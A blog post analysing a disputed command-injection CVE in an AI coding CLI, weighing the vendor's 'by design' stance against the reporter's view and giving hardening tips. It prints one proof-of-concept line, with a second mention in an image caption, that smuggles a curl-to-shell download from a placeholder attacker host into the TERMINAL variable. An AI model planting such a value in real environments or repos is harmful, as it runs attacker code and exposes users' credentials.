Skip to main content

· 9 min read

The CVE Anthropic Calls A Feature

CVE-2026-35020 lands an 8.6 HIGH on Claude Code CLI for OS command injection via the TERMINAL env var. Anthropic closed the report as 'Informative.' By design. The dispute is the article. Both sides have a point.

claude-code · security · cve · ai-tools

CVE-2026-35020 went up on NIST on April 6 with a CVSS 4.0 score of 8.6 HIGH. Affected: Claude Code CLI up to 2.1.91, Claude Agent SDK up to 0.1.55. Vector: an OS command injection in the command lookup helper and the deep-link terminal launcher, triggered through the TERMINAL environment variable. Seven days later, NIST tagged the entry as Disputed.

The dispute is the article. Phoenix Security reported the bug. Anthropic responded within hours saying it's by design. Non-interactive mode delegates trust to the caller, and the caller is responsible for the env it passes in. Phoenix escalated with HTTP exfiltration logs. Anthropic closed the ticket as Informative, the security-team term for "we hear you, this isn't getting a patch." NIST published anyway.

Both sides have a point. Which one applies depends on where you actually run Claude Code.

Intaglio engraving on cream paper. Two panels side by side, separated by a vertical jagged terracotta line down the middle. Left panel labeled 'Phoenix Security · 2026-03-31' shows a stylized advisory ticket with three bullet rows tagged VULN-01, VULN-02, VULN-03, all marked CWE-78. Right panel labeled 'Anthropic · 2026-04-03' shows a support response card with the status field 'Informative' rendered in terracotta and a smaller line below reading 'by design'. The terracotta crack between the two panels is the focal element.

What the bug actually is

The CLI needs to find your terminal emulator. It reads $TERMINAL, then runs a lookup helper to resolve it to a binary path. Under Bun, the helper calls a safe non-shell API: argv list, no interpolation, no shell. Under Node.js, the same helper builds a shell command string and hands it to /bin/sh -c.

The difference matters. Under Node, this works:

TERMINAL='xterm; curl -s evil.example/x.sh | sh #' \
  claude [trigger that exercises the terminal lookup]

Phoenix tested three injection variants: semicolons, $(), backticks. All three fired. The wrapper function carries a _DEPRECATED suffix in the source, which is the team flagging to itself that the call site is risky. It's still in production.

The Bun path proves the team understood the risk. They wrote the safe version. They just didn't backport it.

Intaglio engraving. Horizontal flow diagram across three panels. Panel 1 shows a terminal window with the line 'export TERMINAL=xterm; curl evil/x.sh | sh #'. The semicolon and everything after it is rendered in terracotta as the focal element. Panel 2 shows a labeled function box 'lookup helper (_DEPRECATED)' with two arrows fanning out: a dark monochrome arrow pointing to 'Bun.spawn([argv]) — safe' on top, and a terracotta arrow pointing down to '/bin/sh -c (string) — vulnerable'. Panel 3 shows the resolved shell with the injected curl command executing, with a small terracotta tag reading 'arbitrary code, your user'. Annotation labels in fine line work identify each component.

The CVSS 4.0 vector tells you the rest. Local attack vector, low complexity, no privileges, no user interaction beyond whatever already triggered the deep link. Confidentiality, integrity, and availability all rated High. The number is 8.6 because once you're past the env var, you're running shell as the user. Cloud creds, SSH keys, browser sessions, all of it.

Why "by design" isn't crazy

Anthropic's public position, paraphrased: the CLI is a developer tool. Developers run it inside an environment they themselves set up. If your environment is compromised, the CLI is the least of your problems. The attacker already has the keys.

That's the trust-the-caller argument. It's how bash works, how make works, how every shell-adjacent tool has worked since the 1970s. You don't file a CVE against make because make runs commands you wrote in a Makefile. The makefile is your code. You wrote it. If you didn't write it, you read it before running it.

In this framing, $TERMINAL is just another variable the user owns. The CLI reading it isn't a vulnerability, it's the contract. Non-interactive mode (the -p flag and the SDK) is even more explicit: the entire point of running headlessly is that the caller (your CI pipeline, your IDE plugin, your wrapper script) has decided it's safe to do so on your behalf.

If you only ever run Claude Code inside your own laptop, with your own dotfiles, with your own .env, this position is fine. Your env is your problem. Always was.

What the Disputed tag obscures

The Disputed tag suggests the CVE is contested in some abstract way. It is not. The dispute is narrow and specific: Anthropic says env vars are caller-owned. Phoenix Security says env var control is reachable through six data channels that don't require the attacker to own the caller. Both statements can be true. They lead to different conclusions.

Here are the channels Phoenix listed. None of them require the attacker to have shell on your machine.

Intaglio engraving. A 2x3 grid of six labeled tiles on cream paper, each tile a small concrete object. Top row: a folder icon with '.env' typed across it, a CI/CD pipeline YAML snippet showing 'env: TERMINAL: $...', a JSON config card labeled 'terminal.integrated.env.linux'. Bottom row: a docker-compose.yml fragment with an 'environment:' block, a folder icon with '.envrc' labeled direnv, a process tree showing 'parent → child' inheriting env. The IDE workspace settings tile is rendered in terracotta as the focal element with annotation reading 'this one ships with the repo'. The other five are monochrome dark ink. Fine engraved line work throughout, no decorative borders.

A merged PR can drop a .env into your repo. A CI pipeline accepts variables defined in YAML that the PR author can edit. VS Code and JetBrains both support terminal.integrated.env.* as workspace settings, which means it lives in .vscode/settings.json, a tracked file. direnv reads .envrc from the directory you cd into. Docker Compose definitions ship in repos. Parent processes pass env to children, including agent subprocesses that started Claude Code on your behalf.

Every one of those is a data channel. None require the attacker to have already won. Phoenix's CWE-78 framing is the textbook one, "improper neutralization of special elements," and the textbook teaches CWE-78 specifically because the input crosses a trust boundary. The whole point of the class is that the input wasn't supposed to reach the shell, but it did, and the program was supposed to neutralize it before that happened.

If you're a solo developer running Claude Code in a dotfile-clean home directory, "by design" is right and you can stop reading.

If you run Claude Code inside CI, or inside an IDE that loads workspace settings from cloned repos, or as a subprocess of an agent harness that inherited env from somewhere upstream, the trust-the-caller argument starts to crack. The caller stops being "me at my keyboard" and becomes whatever wrote that .env file.

What I actually changed

I run Claude Code daily. Reading the disclosure didn't make me uninstall it. It did make me look at three things in my own setup.

One. What does $TERMINAL look like when Claude Code starts? On macOS, mine was unset, which means the helper falls back to defaults and the injection surface is mostly closed. If you've got $TERMINAL exported in .zshrc or .bashrc, check what set it and whether you understand why.

Two. What's in .vscode/settings.json for any repo I open? Specifically terminal.integrated.env.osx (or linux, windows). I'd been ignoring those keys for years. Now I read them on first clone. If you use direnv, same question for .envrc.

Three. Pin the version. npm install -g @anthropic-ai/claude-code@latest is fine for a developer who reads release notes. If you wrap Claude Code inside something like an agent harness, an MCP server, or a CI job, pin to a specific version that matches what you tested. Phoenix's report references 2.1.91 as the last confirmed-vulnerable CLI version. The newer releases haven't published a CVE-fix changelog entry, which means you don't know what changed. Pinning gives you a known surface.

That's it. Three changes. Took maybe twenty minutes.

Intaglio engraving. A vertical timeline running down the cream paper, six date nodes connected by a thin dark line. Each node has a small label and a one-line description in fine engraved text. Nodes from top to bottom: '2026-03-31, Phoenix reports VULN-01/02/03 with PoC', '2026-04-01, Anthropic acknowledges, position: by design', '2026-04-01, Phoenix delivers exfiltration logs', '2026-04-03, Anthropic closes as Informative' (this node is rendered in terracotta as the focal element with a small tag reading 'no patch shipped'), '2026-04-06, NIST publishes CVSS 8.6', '2026-04-13, NIST tags entry as Disputed'. Margin annotations in fine line work. No frames, edges fade to bare cream paper.

The honest open question

A CLI that ships to a hundred thousand developers, runs inside agent harnesses, and gets bundled into IDE extensions has a weaker version of the trust-the-caller contract than make does. Make has been around fifty years; everybody who runs it understands what they're agreeing to. Claude Code is two years old, runs in CI on the regular, and is increasingly the callee of automation that calls it without the operator reading the environment first.

"By design" is a defensible position for the binary in isolation. It's a much harder position when the binary's distribution channels include "your CI pipeline triggered by a PR from a contributor you don't know."

I don't think Anthropic is wrong. I think they're answering a question one layer below the one most users are asking. The user is asking "is it safe to run this from my agent harness on a repo I just cloned." Anthropic is answering "is the binary itself doing anything wrong." Those are different questions and the gap between them is where this CVE sits.

Disputed reads as "false alarm." That's wrong. The bug is real, the exploit window is narrow, and Anthropic has decided not to patch because the broader contract, environments are caller-owned, is the one they want to keep. That's a defensible call, but it's a call. Worth knowing it was made.

If your Claude Code never sees an env var you didn't set, you're fine. If it does, the question of who set it just got more interesting.

Enjoyed this post?

Subscribe to get weekly deep-dives on building AI dev tools, Go CLIs, and the systems behind a personal intelligence OS.

Related Posts

© 2026 Joey HipolitoAuckland, New Zealand